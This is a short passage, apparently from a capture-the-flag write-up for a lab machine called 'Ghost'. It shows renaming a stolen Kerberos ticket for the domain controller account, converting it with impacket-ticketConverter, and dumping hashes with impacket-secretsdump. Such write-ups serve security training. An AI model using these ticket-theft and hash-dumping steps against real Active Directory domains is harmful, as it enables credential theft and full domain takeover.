Rename-Item -LiteralPath '.\[0;1ec5f69][email protected]' -NewName ''DC01$@krbtgt-GHOST.HTB.kirbi''
When dealing with paths that contain characters like brackets (
[
and]
), dollar signs ($
), and semicolons (;
), PowerShell treats them as special characters or wildcards. This can cause issues when attempting to manipulate these files directly.
Transfer it to our attack machine, and convert it to .ccache
format:
impacket-ticketConverter '[email protected]' '[email protected]'
Use impacket-secretsdump
, saving hashes for future use.
Comments | NOTHING